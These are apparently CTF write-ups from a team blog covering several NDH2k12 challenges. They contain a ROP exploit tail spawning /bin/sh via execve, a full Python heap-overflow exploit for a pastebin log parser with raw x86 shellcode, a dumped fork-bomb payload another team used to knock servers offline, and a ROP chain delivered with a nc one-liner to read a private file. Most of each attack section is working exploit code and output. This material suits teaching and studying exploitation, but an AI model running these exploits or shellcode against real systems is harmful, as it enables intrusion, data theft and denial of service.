# Remarks: Nimp
# Flight Plan successfully filed
 
print "[*] Mise en place /bin/sh"
fs.send('1\n')
retour = fs.recv(4096)
fs.send('/bin/sh'+'\x00'+'\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
retour = fs.recv(4096)
 
# ------ Etape 2 : Leak des adresses de la libc au travers du buffer overflow ------
# gdb$ x/x puts
# 0x7f6dc6643060 <puts>:  0x6c8948e8245c8948
# gdb$ x/x execve
# 0x7f6dc6684f80 <execve>:        0x48050f0000003bb8
# 0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
 
fs.send('5\n')
retour = fs.recv(4096)
got_libc_puts=0x602210
offset_decallage=0x7f6dc6684f80-0x7f6dc6643060
call_puts=0x40174a
gadget=0x4018b0
 
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(got_libc_puts) + p(call_puts)+p(0x49494949)+"\n")
 
retour = fs.recv(4096)
retour = fs.recv(4096)
ref_libc=struct.unpack('<Q', retour[0:6]+'\x00\x00')
print "[*] Adresse libc puts :"+hex(ref_libc[0])
addr_execve=ref_libc[0]+offset_decallage
print "[*] Adresse execve :"+ hex(addr_execve)
 
# ------ Etape 3 : execve au travers du buffer overflow ------
 
addr_str_binsh=0x6022c4
fs.send('5\n')
retour = fs.recv(4096)
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(addr_str_binsh) + p(addr_execve)+ p(0x41414141) +"\n")
fs.send("cat /root/Challenges/BKP2013/flag\n")
retour = fs.recv(4096)
retour = fs.recv(4096)
print retour

Voila en espérant que j'ai été le plus clair possible, n’hésitez pas à laisser des commentaires si vous souhaitez que je complète certains éléments.

Merci à acez pour ce challenge, awe et Frizn pour leur relecture et djo et over pour leur super tools.

Tuesday, July 3 2012 11:21

NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()

Sunday, March 25 2012 16:36

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
 
import sys
import re
 
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
 
    if ioff > 0x8000:
        ioff = ioff - 0x10000
 
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
 
    return line
 
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
        else:
            print line,

Result:

[...]
0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc sciteek.nuitduhack.com 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81e4]
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; OPEN
[0x8174]
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81d2]
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
 
; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
 
[0x81e0]
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; WRITE
[0x818f]
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:

0x8172
0x14
0x2000
0x0
 
0x81e4
 
0x8174
0x0
0x2000
 
0x81d2
 
0x8172
1024
0x3000
0xdead
 
0x81e0
 
0x818f

We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc sciteek.nuitduhack.com 4005
 
Dear Patrick,
 
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
 
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
 
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
 
Sincerely,
 
David Markham.
[!] Segfault 0x5a5a (NX bit)